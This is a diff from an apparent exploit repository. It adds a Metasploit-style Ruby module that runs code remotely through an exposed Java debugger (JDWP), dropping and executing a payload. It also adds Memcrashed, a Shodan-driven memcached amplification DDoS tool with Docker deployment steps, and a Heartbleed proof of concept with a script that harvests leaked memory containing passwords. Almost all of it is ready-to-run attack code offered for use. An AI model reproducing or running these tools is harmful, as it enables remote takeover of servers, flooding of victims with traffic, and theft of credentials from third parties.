# Parses a received event and compares it with the expected
|
||||
def parse_event(buf, event_id, thread_id)
|
||||
len = @vars["objectid_size"]
|
||||
return false if buf.length < 10 + len - 1
|
||||
|
||||
r_id = buf[6..9].unpack('N')[0]
|
||||
t_id = unformat(len,buf[10..10+len-1])
|
||||
|
||||
return (event_id == r_id) && (thread_id == t_id)
|
||||
end
|
||||
|
||||
# Clear a defined event request
|
||||
def clear_event(event_code, r_id)
|
||||
data = [event_code].pack('C')
|
||||
data << [r_id].pack('N')
|
||||
sock.put(create_packet(EVENTCLEAR_SIG, data))
|
||||
read_reply
|
||||
end
|
||||
|
||||
# Invokes a static method. The method must be member of the class type or one of its superclasses,
|
||||
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
|
||||
# methods can be invoked.
|
||||
def invoke_static(class_id, thread_id, meth_id, args = [])
|
||||
data = format(@vars["referencetypeid_size"], class_id)
|
||||
data << format(@vars["objectid_size"], thread_id)
|
||||
data << format(@vars["methodid_size"], meth_id)
|
||||
data << [args.length].pack('N')
|
||||
|
||||
args.each do |arg|
|
||||
data << arg
|
||||
data << [0].pack('N')
|
||||
end
|
||||
|
||||
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
|
||||
buf = read_reply
|
||||
buf
|
||||
end
|
||||
|
||||
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
|
||||
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
|
||||
# can be invoked.
|
||||
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
|
||||
data = format(@vars["objectid_size"], obj_id)
|
||||
data << format(@vars["objectid_size"], thread_id)
|
||||
data << format(@vars["referencetypeid_size"], class_id)
|
||||
data << format(@vars["methodid_size"], meth_id)
|
||||
data << [args.length].pack('N')
|
||||
|
||||
args.each do |arg|
|
||||
data << arg
|
||||
data << [0].pack('N')
|
||||
end
|
||||
|
||||
sock.put(create_packet(INVOKEMETHOD_SIG, data))
|
||||
buf = read_reply
|
||||
buf
|
||||
end
|
||||
|
||||
# Creates a new object of specified class, invoking the specified constructor. The constructor
|
||||
# method ID must be a member of the class type.
|
||||
def create_instance(class_id, thread_id, meth_id, args = [])
|
||||
data = format(@vars["referencetypeid_size"], class_id)
|
||||
data << format(@vars["objectid_size"], thread_id)
|
||||
data << format(@vars["methodid_size"], meth_id)
|
||||
data << [args.length].pack('N')
|
||||
|
||||
args.each do |arg|
|
||||
data << arg
|
||||
data << [0].pack('N')
|
||||
end
|
||||
|
||||
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
|
||||
buf = read_reply
|
||||
buf
|
||||
end
|
||||
|
||||
# Creates a byte[]
|
||||
def create_array(len)
|
||||
target_class = get_class_by_name("[B")
|
||||
fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?
|
||||
|
||||
type_id = target_class["reftype_id"]
|
||||
fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?
|
||||
|
||||
data = format(@vars["referencetypeid_size"], type_id)
|
||||
data << [len].pack('N')
|
||||
|
||||
sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
|
||||
buf = read_reply
|
||||
buf
|
||||
end
|
||||
|
||||
# Initializes the byte[] with values
|
||||
def set_values(obj_id, args = [])
|
||||
data = format(@vars["objectid_size"], obj_id)
|
||||
data << [0].pack('N')
|
||||
data << [args.length].pack('N')
|
||||
|
||||
args.each do |arg|
|
||||
data << [arg].pack('C')
|
||||
end
|
||||
|
||||
sock.put(create_packet(ARRAYSETVALUES_SIG, data))
|
||||
read_reply
|
||||
end
|
||||
|
||||
def temp_path
|
||||
return nil unless datastore['TMP_PATH']
|
||||
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
|
||||
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
|
||||
end
|
||||
datastore['TMP_PATH']
|
||||
end
|
||||
|
||||
# Configures payload according to targeted architecture
|
||||
def setup_payload
|
||||
# 1. Setting up generic values.
|
||||
payload_exe = rand_text_alphanumeric(4 + rand(4))
|
||||
pl_exe = generate_payload_exe
|
||||
|
||||
# 2. Setting up arch specific...
|
||||
case target['Platform']
|
||||
when 'linux'
|
||||
path = temp_path || '/tmp/'
|
||||
payload_exe = "#{path}#{payload_exe}"
|
||||
if @os.downcase =~ /win/
|
||||
print_warning("#{@os} system detected but using Linux target...")
|
||||
end
|
||||
when 'win'
|
||||
path = temp_path || './'
|
||||
payload_exe = "#{path}#{payload_exe}.exe"
|
||||
unless @os.downcase =~ /win/
|
||||
print_warning("#{@os} system detected but using Windows target...")
|
||||
end
|
||||
end
|
||||
|
||||
return payload_exe, pl_exe
|
||||
end
|
||||
|
||||
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
|
||||
def fingerprint_os(thread_id)
|
||||
size = @vars["objectid_size"]
|
||||
|
||||
# 1. Creates a string on target VM with the property to be getted
|
||||
cmd_obj_ids = create_string("os.name")
|
||||
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
|
||||
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
||||
|
||||
# 2. Gets property
|
||||
data = [TAG_OBJECT].pack('C')
|
||||
data << format(size, cmd_obj_id)
|
||||
data_array = [data]
|
||||
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
|
||||
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
|
||||
|
||||
str = unformat(size, buf[1..1+size-1])
|
||||
@os = solve_string(format(@vars["objectid_size"],str))
|
||||
end
|
||||
|
||||
# Creates a file on the server given a execution thread
|
||||
def create_file(thread_id, filename)
|
||||
cmd_obj_ids = create_string(filename)
|
||||
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
|
||||
|
||||
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
||||
size = @vars["objectid_size"]
|
||||
data = [TAG_OBJECT].pack('C')
|
||||
data << format(size, cmd_obj_id)
|
||||
data_array = [data]
|
||||
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
|
||||
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
|
||||
|
||||
file = unformat(size, buf[1..1+size-1])
|
||||
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
|
||||
|
||||
register_files_for_cleanup(filename)
|
||||
|
||||
file
|
||||
end
|
||||
|
||||
# Stores the payload on a new string created in target VM
|
||||
def upload_payload(thread_id, pl_exe)
|
||||
size = @vars["objectid_size"]
|
||||
|
||||
buf = create_array(pl_exe.length)
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')
|
||||
|
||||
pl = unformat(size, buf[1..1+size-1])
|
||||
fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)
|
||||
|
||||
set_values(pl, pl_exe.bytes)
|
||||
pl
|
||||
end
|
||||
|
||||
# Dumps the payload on a opened server file given a execution thread
|
||||
def dump_payload(thread_id, file, pl)
|
||||
size = @vars["objectid_size"]
|
||||
data = [TAG_OBJECT].pack('C')
|
||||
data << format(size, pl)
|
||||
data_array = [data]
|
||||
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
|
||||
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
|
||||
unless buf[0] == [TAG_VOID].pack('C')
|
||||
fail_with(Failure::Unknown, "Exception while writing to file")
|
||||
end
|
||||
end
|
||||
|
||||
# Closes a file on the server given a execution thread
|
||||
def close_file(thread_id, file)
|
||||
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
|
||||
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
|
||||
unless buf[0] == [TAG_VOID].pack('C')
|
||||
fail_with(Failure::Unknown, "Exception while closing file")
|
||||
end
|
||||
end
|
||||
|
||||
# Executes a system command on target VM making use of java.lang.Runtime.exec()
|
||||
def execute_command(thread_id, cmd)
|
||||
size = @vars["objectid_size"]
|
||||
|
||||
# 1. Creates a string on target VM with the command to be executed
|
||||
cmd_obj_ids = create_string(cmd)
|
||||
if cmd_obj_ids.length == 0
|
||||
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
|
||||
end
|
||||
|
||||
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
||||
|
||||
# 2. Gets Runtime context
|
||||
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
|
||||
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
|
||||
unless buf[0] == [TAG_OBJECT].pack('C')
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
|
||||
end
|
||||
|
||||
rt = unformat(size, buf[1..1+size-1])
|
||||
if rt.nil? || (rt == 0)
|
||||
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
|
||||
end
|
||||
|
||||
# 3. Finds and executes "exec" method supplying the string with the command
|
||||
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
|
||||
if exec_meth.nil?
|
||||
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
|
||||
end
|
||||
|
||||
data = [TAG_OBJECT].pack('C')
|
||||
data << format(size, cmd_obj_id)
|
||||
data_array = [data]
|
||||
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
|
||||
unless buf[0] == [TAG_OBJECT].pack('C')
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
|
||||
end
|
||||
end
|
||||
|
||||
# Set event for stepping into a running thread
|
||||
def set_step_event
|
||||
# 1. Select a thread in sleeping status
|
||||
t_id = nil
|
||||
@threads.each_key do |thread|
|
||||
if thread_status(thread) == THREAD_SLEEPING_STATUS
|
||||
t_id = thread
|
||||
break
|
||||
end
|
||||
end
|
||||
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
|
||||
|
||||
# 2. Suspend the VM before setting the event
|
||||
suspend_vm
|
||||
|
||||
vprint_status("Setting 'step into' event in thread: #{t_id}")
|
||||
step_info = format(@vars["objectid_size"], t_id)
|
||||
step_info << [STEP_MIN].pack('N')
|
||||
step_info << [STEP_INTO].pack('N')
|
||||
data = [[MODKIND_STEP, step_info]]
|
||||
|
||||
r_id = send_event(EVENT_STEP, data)
|
||||
unless r_id
|
||||
fail_with(Failure::Unknown, "Could not set the event")
|
||||
end
|
||||
|
||||
return r_id, t_id
|
||||
end
|
||||
|
||||
# Disables security manager if it's set on target JVM
|
||||
def disable_sec_manager
|
||||
sys_class = get_class_by_name("Ljava/lang/System;")
|
||||
|
||||
fields = get_fields(sys_class["reftype_id"])
|
||||
|
||||
sec_field = nil
|
||||
|
||||
fields.each do |field|
|
||||
sec_field = field["field_id"] if field["name"].downcase == "security"
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?
|
||||
|
||||
value = get_value(sys_class["reftype_id"], sec_field)
|
||||
|
||||
if(value == 0)
|
||||
print_good("Security manager was not set")
|
||||
else
|
||||
set_value(sys_class["reftype_id"], sec_field, 0)
|
||||
if get_value(sys_class["reftype_id"], sec_field) == 0
|
||||
print_good("Security manager has been disabled")
|
||||
else
|
||||
print_good("Security manager has not been disabled, trying anyway...")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Uploads & executes the payload on the target VM
|
||||
def exec_payload(thread_id)
|
||||
# 0. Fingerprinting OS
|
||||
fingerprint_os(thread_id)
|
||||
|
||||
vprint_status("Executing payload on \"#{@os}\", target version: #{version}")
|
||||
|
||||
# 1. Prepares the payload
|
||||
payload_exe, pl_exe = setup_payload
|
||||
|
||||
# 2. Creates file on server for dumping payload
|
||||
file = create_file(thread_id, payload_exe)
|
||||
|
||||
# 3. Uploads payload to the server
|
||||
pl = upload_payload(thread_id, pl_exe)
|
||||
|
||||
# 4. Dumps uploaded payload into file on the server
|
||||
dump_payload(thread_id, file, pl)
|
||||
|
||||
# 5. Closes the file on the server
|
||||
close_file(thread_id, file)
|
||||
|
||||
# 5b. When linux arch, give execution permissions to file
|
||||
if target['Platform'] == 'linux'
|
||||
cmd = "chmod +x #{payload_exe}"
|
||||
execute_command(thread_id, cmd)
|
||||
end
|
||||
|
||||
# 6. Executes the dumped payload
|
||||
cmd = "#{payload_exe}"
|
||||
execute_command(thread_id, cmd)
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
@my_id = 0x01
|
||||
@vars = {}
|
||||
@classes = []
|
||||
@methods = {}
|
||||
@threads = {}
|
||||
@os = nil
|
||||
|
||||
connect
|
||||
|
||||
unless handshake == HANDSHAKE
|
||||
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
|
||||
end
|
||||
|
||||
print_status("Retrieving the sizes of variable sized data types in the target VM...")
|
||||
get_sizes
|
||||
|
||||
print_status("Getting the version of the target VM...")
|
||||
get_version
|
||||
|
||||
print_status("Getting all currently loaded classes by the target VM...")
|
||||
get_all_classes
|
||||
|
||||
print_status("Getting all running threads in the target VM...")
|
||||
get_all_threads
|
||||
|
||||
print_status("Setting 'step into' event...")
|
||||
r_id, t_id = set_step_event
|
||||
|
||||
print_status("Resuming VM and waiting for an event...")
|
||||
response = resume_vm
|
||||
|
||||
unless parse_event(response, r_id, t_id)
|
||||
datastore['NUM_RETRIES'].times do |i|
|
||||
print_status("Received #{i + 1} responses that are not a 'step into' event...")
|
||||
buf = read_reply
|
||||
break if parse_event(buf, r_id, t_id)
|
||||
|
||||
if i == datastore['NUM_RETRIES']
|
||||
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("Received matching event from thread #{t_id}")
|
||||
print_status("Deleting step event...")
|
||||
clear_event(EVENT_STEP, r_id)
|
||||
|
||||
print_status("Disabling security manager if set...")
|
||||
disable_sec_manager
|
||||
|
||||
print_status("Dropping and executing payload...")
|
||||
exec_payload(t_id)
|
||||
|
||||
disconnect
|
||||
end
|
||||
end
|
BIN
CVE_EXP/Memcrashed-DDoS-Exploit/1.png
Normal file
After Width: | Height: | Size: 64 KiB |
BIN
CVE_EXP/Memcrashed-DDoS-Exploit/2.png
Normal file
After Width: | Height: | Size: 18 KiB |
BIN
CVE_EXP/Memcrashed-DDoS-Exploit/3.png
Normal file
After Width: | Height: | Size: 39 KiB |
BIN
CVE_EXP/Memcrashed-DDoS-Exploit/4.png
Normal file
After Width: | Height: | Size: 32 KiB |
12
CVE_EXP/Memcrashed-DDoS-Exploit/Dockerfile
Normal file
@ -0,0 +1,12 @@
|
||||
FROM alpine:latest
|
||||
|
||||
RUN apk add --update python3 py3-pip git tcpdump
|
||||
|
||||
RUN git clone https://github.com/649/Memcrashed-DDoS-Exploit.git Memcrashed
|
||||
WORKDIR Memcrashed
|
||||
# COPY requirements.txt .
|
||||
# COPY api.txt .
|
||||
# COPY bots.txt .
|
||||
RUN pip3 install -r requirements.txt
|
||||
|
||||
ENTRYPOINT ["python3", "Memcrashed.py"]
|
161
CVE_EXP/Memcrashed-DDoS-Exploit/Memcrashed.py
Normal file
@ -0,0 +1,161 @@
|
||||
#-- coding: utf8 --
|
||||
#!/usr/bin/env python3
|
||||
import sys, os, time, shodan
|
||||
from pathlib import Path
|
||||
from scapy.all import *
|
||||
from contextlib import contextmanager, redirect_stdout
|
||||
|
||||
starttime = time.time()
|
||||
|
||||
@contextmanager
|
||||
def suppress_stdout():
|
||||
with open(os.devnull, "w") as devnull:
|
||||
with redirect_stdout(devnull):
|
||||
yield
|
||||
|
||||
class color:
|
||||
HEADER = '\033[0m'
|
||||
|
||||
keys = Path("./api.txt")
|
||||
logo = color.HEADER + '''
|
||||
|
||||
███╗ ███╗███████╗███╗ ███╗ ██████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗
|
||||
████╗ ████║██╔════╝████╗ ████║██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗
|
||||
██╔████╔██║█████╗ ██╔████╔██║██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║
|
||||
██║╚██╔╝██║██╔══╝ ██║╚██╔╝██║██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║
|
||||
██║ ╚═╝ ██║███████╗██║ ╚═╝ ██║╚██████╗██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝
|
||||
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝
|
||||
|
||||
Author: @037
|
||||
Version: 3.2
|
||||
|
||||
####################################### DISCLAIMER ########################################
|
||||
| Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |
|
||||
| memcached servers. It then allows you to use the same servers to launch widespread |
|
||||
| distributed denial of service attacks by forging UDP packets sourced to your victim. |
|
||||
| Default payload includes the memcached "stats" command, 10 bytes to send, but the reply |
|
||||
| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. |
|
||||
| I am NOT responsible for any damages caused or any crimes committed by using this tool. |
|
||||
###########################################################################################
|
||||
|
||||
'''
|
||||
print(logo)
|
||||
|
||||
if keys.is_file():
|
||||
with open('api.txt', 'r') as file:
|
||||
SHODAN_API_KEY=file.readline().rstrip('\n')
|
||||
else:
|
||||
file = open('api.txt', 'w')
|
||||
SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')
|
||||
file.write(SHODAN_API_KEY)
|
||||
print('[~] File written: ./api.txt')
|
||||
file.close()
|
||||
|
||||
while True:
|
||||
api = shodan.Shodan(SHODAN_API_KEY)
|
||||
print('')
|
||||
try:
|
||||
myresults = Path("./bots.txt")
|
||||
query = input("[*] Use Shodan API to search for affected Memcached servers? <Y/n>: ").lower()
|
||||
if query.startswith('y'):
|
||||
print('')
|
||||
print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)
|
||||
results = api.search('product:"Memcached" port:11211')
|
||||
print('[✓] API Key Authentication: SUCCESS')
|
||||
print('[~] Number of bots: %s' % results['total'])
|
||||
print('')
|
||||
saveresult = input("[*] Save results for later usage? <Y/n>: ").lower()
|
||||
if saveresult.startswith('y'):
|
||||
file2 = open('bots.txt', 'a')
|
||||
for result in results['matches']:
|
||||
file2.write(result['ip_str'] + "\n")
|
||||
print('[~] File written: ./bots.txt')
|
||||
print('')
|
||||
file2.close()
|
||||
saveme = input('[*] Would you like to use locally stored Shodan data? <Y/n>: ').lower()
|
||||
if myresults.is_file():
|
||||
if saveme.startswith('y'):
|
||||
with open('bots.txt') as my_file:
|
||||
ip_array = [line.rstrip() for line in my_file]
|
||||
else:
|
||||
print('')
|
||||
print('[✘] Error: No bots stored locally, bots.txt file not found!')
|
||||
print('')
|
||||
if saveme.startswith('y') or query.startswith('y'):
|
||||
print('')
|
||||
target = input("[▸] Enter target IP address: ")
|
||||
power = int(input("[▸] Enter preferred power (Default 1): ") or "1")
|
||||
data = input("[▸] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
|
||||
print('')
|
||||
if query.startswith('y'):
|
||||
iplist = input('[*] Would you like to display all the bots from Shodan? <Y/n>: ').lower()
|
||||
if iplist.startswith('y'):
|
||||
print('')
|
||||
counter= int(0)
|
||||
for result in results['matches']:
|
||||
host = api.host('%s' % result['ip_str'])
|
||||
counter=counter+1
|
||||
print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))
|
||||
time.sleep(1.1 - ((time.time() - starttime) % 1.1))
|
||||
if saveme.startswith('y'):
|
||||
iplistlocal = input('[*] Would you like to display all the bots stored locally? <Y/n>: ').lower()
|
||||
if iplistlocal.startswith('y'):
|
||||
print('')
|
||||
counter= int(0)
|
||||
for x in ip_array:
|
||||
host = api.host('%s' % x)
|
||||
counter=counter+1
|
||||
print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a')))
|
||||
time.sleep(1.1 - ((time.time() - starttime) % 1.1))
|
||||
print('')
|
||||
engage = input('[*] Ready to engage target %s? <Y/n>: ' % target).lower()
|
||||
if engage.startswith('y'):
|
||||
if saveme.startswith('y'):
|
||||
for i in ip_array:
|
||||
if power>1:
|
||||
print('[+] Sending %d forged UDP packets to: %s' % (power, i))
|
||||
with suppress_stdout():
|
||||
send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
|
||||
elif power==1:
|
||||
print('[+] Sending 1 forged UDP packet to: %s' % i)
|
||||
with suppress_stdout():
|
||||
send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
|
||||
else:
|
||||
for result in results['matches']:
|
||||
if power>1:
|
||||
print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))
|
||||
with suppress_stdout():
|
||||
send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)
|
||||
elif power==1:
|
||||
print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])
|
||||
with suppress_stdout():
|
||||
send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)
|
||||
print('')
|
||||
print('[•] Task complete! Exiting Platform. Have a wonderful day.')
|
||||
break
|
||||
else:
|
||||
print('')
|
||||
print('[✘] Error: %s not engaged!' % target)
|
||||
print('[~] Restarting Platform! Please wait.')
|
||||
print('')
|
||||
else:
|
||||
print('')
|
||||
print('[✘] Error: No bots stored locally or remotely on Shodan!')
|
||||
print('[~] Restarting Platform! Please wait.')
|
||||
print('')
|
||||
|
||||
except shodan.APIError as e:
|
||||
print('[✘] Error: %s' % e)
|
||||
option = input('[*] Would you like to change API Key? <Y/n>: ').lower()
|
||||
if option.startswith('y'):
|
||||
file = open('api.txt', 'w')
|
||||
SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ')
|
||||
file.write(SHODAN_API_KEY)
|
||||
print('[~] File written: ./api.txt')
|
||||
file.close()
|
||||
print('[~] Restarting Platform! Please wait.')
|
||||
print('')
|
||||
else:
|
||||
print('')
|
||||
print('[•] Exiting Platform. Have a wonderful day.')
|
||||
break
|
52
CVE_EXP/Memcrashed-DDoS-Exploit/README.md
Normal file
@ -0,0 +1,52 @@
|
||||
# MEMCRASHED DDOS EXPLOIT TOOL
|
||||
|
||||
* Author: [@037](https://twitter.com/037)
|
||||
|
||||
This tool allows you to send forged UDP packets to Memcached servers obtained from Shodan.io
|
||||
|
||||
### Prerequisites
|
||||
|
||||
The only thing you need installed is Python 3.x
|
||||
|
||||
```
|
||||
apt-get install python3
|
||||
```
|
||||
|
||||
You also require to have Scapy and Shodan modules installed
|
||||
```
|
||||
pip install scapy
|
||||
```
|
||||
|
||||
```
|
||||
pip install shodan
|
||||
```
|
||||
|
||||
### Using Shodan API
|
||||
|
||||
This tool requires you to own an upgraded Shodan API
|
||||
|
||||
You may obtain one for free in [Shodan](https://shodan.io/) if you sign up using a .edu email
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
### Using Docker
|
||||
|
||||
##### [Demo](https://asciinema.org/a/v1AEEa17xzqUfyW4pEIS0JONW)
|
||||
|
||||
You may deploy this tool to the cloud using a light Alpine Docker image.
|
||||
|
||||
> Note: Make sure to explicitly enter 'y' or 'n' to the interactive prompt
|
||||
|
||||
```bash
|
||||
git clone https://github.com/649/Memcrashed-DDoS-Exploit.git
|
||||
cd Memcrashed-DDoS-Exploit
|
||||
echo "SHODAN_KEY" > api.txt
|
||||
docker build -t memcrashed .
|
||||
docker run -it memcrashed
|
||||
|
||||
```
|
||||
|
2
CVE_EXP/Memcrashed-DDoS-Exploit/requirements.txt
Normal file
@ -0,0 +1,2 @@
|
||||
scapy==2.4.0rc5
|
||||
shodan==1.7.7
|
14
CVE_EXP/OpenSSL心脏滴血漏洞/Auto.py
Normal file
@ -0,0 +1,14 @@
|
||||
import os
|
||||
import re
|
||||
import time
|
||||
import threading
|
||||
while True:
|
||||
Dict = ["url"] #这里填写url
|
||||
for url in Dict:
|
||||
cmd = "python ./openssl.py "+url
|
||||
result = os.popen(cmd).read()
|
||||
if result.find("passWord")>0:
|
||||
print url,time.asctime()
|
||||
with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
|
||||
f.write(result)
|
||||
time.sleep(1)
|
7
CVE_EXP/OpenSSL心脏滴血漏洞/README.md
Normal file
@ -0,0 +1,7 @@
|
||||
### OpenSSL心脏滴血漏洞利用工具
|
||||
|
||||
## 利用方法
|
||||
|
||||
* 测试方法为`python openssl.py url` 如果显示server vul 说明存在
|
||||
|
||||
* 自动获取信息并且将其存入data_1文件夹的txt中,`python Auto.py` 将Auto.py里面的Dict里面加入你想要测试的url.可以根据需求自己修改脚本。
|
137
CVE_EXP/OpenSSL心脏滴血漏洞/openssl.py
Normal file
@ -0,0 +1,137 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
|
||||
# The author disclaims copyright to this source code.
|
||||
|
||||
import sys
|
||||
import struct
|
||||
import socket
|
||||
import time
|
||||
import select
|
||||
import re
|
||||
from optparse import OptionParser
|
||||
|
||||
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
|
||||
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
|
||||
|
||||
def h2bin(x):
|
||||
return x.replace(' ', '').replace('\n', '').decode('hex')
|
||||
|
||||
hello = h2bin('''
|
||||
16 03 02 00 dc 01 00 00 d8 03 02 53
|
||||
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
|
||||
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
|
||||
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
|
||||
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
|
||||
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
|
||||
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
|
||||
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
|
||||
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
|
||||
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
|
||||
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
|
||||
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
|
||||
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
|
||||
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
|
||||
00 0f 00 01 01
|
||||
''')
|
||||
|
||||
hb = h2bin('''
|
||||
18 03 02 00 03
|
||||
01 40 00
|
||||
''')
|
||||
|
||||
def hexdump(s):
|
||||
pdat = ''
|
||||
for b in xrange(0, len(s), 16):
|
||||
lin = [c for c in s[b : b + 16]]
|
||||
pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
|
||||
|
||||
print '%s' % (pdat.replace('......', ''),)
|
||||
print
|
||||
|
||||
def recvall(s, length, timeout=5):
|
||||
endtime = time.time() + timeout
|
||||
rdata = ''
|
||||
remain = length
|
||||
while remain > 0:
|
||||
rtime = endtime - time.time()
|
||||
if rtime < 0:
|
||||
return None
|
||||
r, w, e = select.select([s], [], [], 5)
|
||||
if s in r:
|
||||
data = s.recv(remain)
|
||||
# EOF?
|
||||
if not data:
|
||||
return None
|
||||
rdata += data
|
||||
remain -= len(data)
|
||||
return rdata
|
||||
|
||||
|
||||
def recvmsg(s):
|
||||
hdr = recvall(s, 5)
|
||||
if hdr is None:
|
||||
print 'Unexpected EOF receiving record header - server closed connection'
|
||||
return None, None, None
|
||||
typ, ver, ln = struct.unpack('>BHH', hdr)
|
||||
pay = recvall(s, ln, 10)
|
||||
if pay is None:
|
||||
print 'Unexpected EOF receiving record payload - server closed connection'
|
||||
return None, None, None
|
||||
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
|
||||
return typ, ver, pay
|
||||
|
||||
def hit_hb(s):
|
||||
s.send(hb)
|
||||
while True:
|
||||
typ, ver, pay = recvmsg(s)
|
||||
if typ is None:
|
||||
print 'No heartbeat response received, server likely not vulnerable'
|
||||
return False
|
||||
|
||||
if typ == 24:
|
||||
print 'Received heartbeat response:'
|
||||
hexdump(pay)
|
||||
if len(pay) > 3:
|
||||
print 'WARNING: server returned more data than it should - server is vulnerable!'
|
||||
else:
|
||||
print 'Server processed malformed heartbeat, but did not return any extra data.'
|
||||
return True
|
||||
|
||||
if typ == 21:
|
||||
print 'Received alert:'
|
||||
hexdump(pay)
|
||||
print 'Server returned error, likely not vulnerable'
|
||||
return False
|
||||
|
||||
def main():
|
||||
opts, args = options.parse_args()
|
||||
if len(args) < 1:
|
||||
options.print_help()
|
||||
return
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
print 'Connecting...'
|
||||
sys.stdout.flush()
|
